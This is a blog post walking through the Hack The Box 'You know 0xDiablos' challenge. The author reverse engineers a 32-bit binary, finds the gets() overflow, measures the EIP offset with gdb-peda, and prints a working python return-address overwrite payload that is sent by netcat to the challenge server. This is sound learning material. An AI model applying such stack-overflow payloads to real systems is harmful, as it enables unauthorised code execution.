Breaking Down You know 0xDiablos
I have been attempting to bolster my general offensive knowledge, my background in software engineering did not really cover how to exploit things like SQL injection, CSRF or buffer overflows. For this I have been going through some of the beginner track challenges for Hack The Box and one of the ones I have done recently was You know 0xDiablos.
You know 0xDiablos is a challenge where you are given the executable for an application which you can connect to using netcat. The flow for the challenge is:
- reverse engineer the code
- analyse the code, learn the code path to get the flag and find that it uses the insecure gets function
- analyse the executable and find it is susceptible to buffer overflow
- create an exploit to get the flag
- use netcat and send the explolit and get the flag
Now I had enough knowledge to know I had to use a reverse engineering tool to analyse the code and see the various functions it had, but after that I was a bit lost. In order to fix this I turned to a walkthrough by Wesh Sec. This was a good walkthrough, however I did not understand why this worked or the tools that we were using meaning that I had not really learnt anything, I just followed the instructions.
To fix this I will be breaking down the challenge and its solution further in this blog post to ensure that I learn the reason why the application was vulnerable and how we exploited it.
Getting Started
This challenge you are given a ZIP file to download and extract, giving you an executable file called vuln
. We are also given a netcat command that connects us to a server You know who are 0xDiablos:
and waits for user input. The program then repeats back the user input then closes the connection. Originally I did try and see if I could perform and command injection attacks but did not get very far, so I decided to look at the file we downloaded.
Running file vuln
we can see that it is a vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux 3.2.0, not stripped
. At the time I knew I had to reverse engineer this executable but I did not know what tool to use straight away. I initially tried IDA Pro but had no idea how to use it properly. It was at this stage I opened up the walkthrough from Wesh Sec.
Finding the Vulnerability
Skimming the walkthrough, I saw that they used Ghidra, I had heard of this tool and knew it was also used for reverse engineering, so I installed it and started looking at the GUI. I did manage to find the functions option in the middle left section called Symbol Tree. Opening it I could see some interesting function names and at this stage I was trying to see how far I could get by only turning to the walkthrough for hints. The functions that I was interested in were flag
, main
and vuln
.
I was interested in flag
as it is the goal of this challenge, get the flag and solve the problem. I opened the function and could see the decompiled code on the right hand window, seeing that the function took in two parameters which are both integer types. The function does the following:
- creates an array of 64 characters
- reads a file called
flag.txt
- reads the file into the initial array of characters
- checks the value of the parameters are equal to
-0x21524111
and-0x3f212ff3
and prints the flag if the values are correct - prints a string
"Hurry up and try in on server side."
- exits the program
The main function prints the prompt You know who are 0xDiablos:
and then calls the function vuln
followed by exiting the program.
The final function to analyse was vuln
which declared an array of 180 characters, read the users input into it and then reflected the users input back into the terminal.
The vulnerability was easy enough to diagnose in this case, the usage of the gets
functions exposes the executable to buffer overflow attacks. In this case if a user enters in over 180 characters.
Planning the Exploit
From this point on I was clueless, I have never really done much buffer overflow exploitation before so I turned to the walkthrough and followed along. The first step was to install gdb
and peda
. gdb
, or the GNU Project Debugger, is a program that allows you to debug other applications using your terminal. peda
, or Python Exploit Development Assistance, is a set of tools for gdb
that helps you create exploits for Python. With these combined we are able to create an exploit using buffer overflow to attack the target. We can start using gdb
by running the command gdb
in your terminal.
The first step is to check if the security features that prevent buffer overflow exploitation are present by running checksec
and inspecting the response. The response shows that there are 5 tools that could prevent buffer overflows and one of them shows that only partial
protection is enabled. The features are:
- CANARY - this refers to detecting a buffer overflow before the exploit can be executed by placing a integer (randomly generated at program start) before the stack return pointer. This value is checked for changes and if there is a change, the application prevents the attack.
- FORTIFY - this terminates the program if an object in memory overflows its bounds
- NX - the technique of enforcing memory policy on the stack and disallowing execution from the stack, however it does not defeat all types of attacak techniques
- PIE - Position Independet Executable, by not using absolute function addresses, it makes it harder to exploit buffer overflow vulnerabilitites
- RELRO - designed to defend against Global Offset Table (GOT) overwrites,
partial
moves the GOT to above the program variables in the stack, but can be still suffer from string overwrites. Full protection does stop all overwrites but comes at a performance hit
In this case everything is disabled and RELRO is set to partial, meaning we can perform buffer overflow attacks at our discretion. We can start degbugging the executable by running start
in gdb. This starts the executable from the start and then stops at a debug point set by peda, in this case the memory address of 0x080492c0
which is in the main function.
We know that the character array in vuln is a length of 180, but we need to determine the memory address of the EIP offset. The EIP (Extended Instruction Pointer) offset gives the return address after a function completes, by overriding this, we can control what function is called next. We can determine the number of characters we need to enter in order to control the EIP.
We do this by running the following commands:
gdb-peda$ pattern_create 200 in.txt
Writing pattern of 200 chars to filename "in.txt"
gdb-peda$ r < in.txt
Starting program: /home/kali/HTB/_Begin_Track/0xDiablos/vuln < in.txt
You know who are 0xDiablos:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xc9
EBX: 0x76414158 ('XAAv')
ECX: 0xffffffff
EDX: 0xffffffff
ESI: 0xf7fb1000 --> 0x1e4d6c
EDI: 0xf7fb1000 --> 0x1e4d6c
EBP: 0x41594141 ('AAYA')
ESP: 0xffffd140 ("ZAAxAAyA")
EIP: 0x41417741 ('AwAA')
We create a string of 200 characters, save it and then feed it to the exectuable which reveals the EIP is stored in 0x41417741. Running pattern_offset 0x41417741
we get a result showing that there the offset to the EIP is 188 characters. Therefore we can create an exploit with 188 chars followed by the memory address of the function we want to call.
We can get the address of the flag
function by using another gdb
command disas flag
. This gives us the assembly code for the flag
function and the memmory address of the function which in this case is 0x080491e2
.
Creating the Exploit
We know the information we need to create an exploit, the walkthrough uses a piece of python code to create the payload using python3 -c "import sys; sys.stdout.buffer.write(b'A'*188+b'\xe2\x91\x04\x08')" > exploit.txt
. We can then pass the txt file with the exploit to the local executable cat exploit.txt | ./vuln
. This gives us the response
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��
Hurry up and try in on server side.
However we need to add a couple more items for the server exploit. We can see in the code that in order to print the flag we need to provide to values xdeadbeef
and xc0ded00d
as well as a new return address for the EIP. However we need to provide these things in reverse order so they are saved in memory in the correct order. We can do this by recreating the exploit using python3 -c "import sys; sys.stdout.buffer.write(b'A'*188+b'\xe2\x91\x04\x08'+b'DUMB\xef\xbe\xad\xde\x0d\xd0\xde\xc0')" > exploit.txt
with the two parameter values being encoded correctly and the value “DUMB” being the new address for the EIP.
We can pass that into the server now using netcat
$ cat exploit.txt - | nc 209.97.131.64 32522
You know who are 0xDiablos:
���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�DUMBᆳ�
HTB{FLAG}
We have now exploited the buffer overflow and retreieved the flag by calling the function we want.
Thanks for reading this far, I want to thank Wesh Sec for his write up, if there are any thing that I am incorrect in my understanding, please reach out to me on Twitter.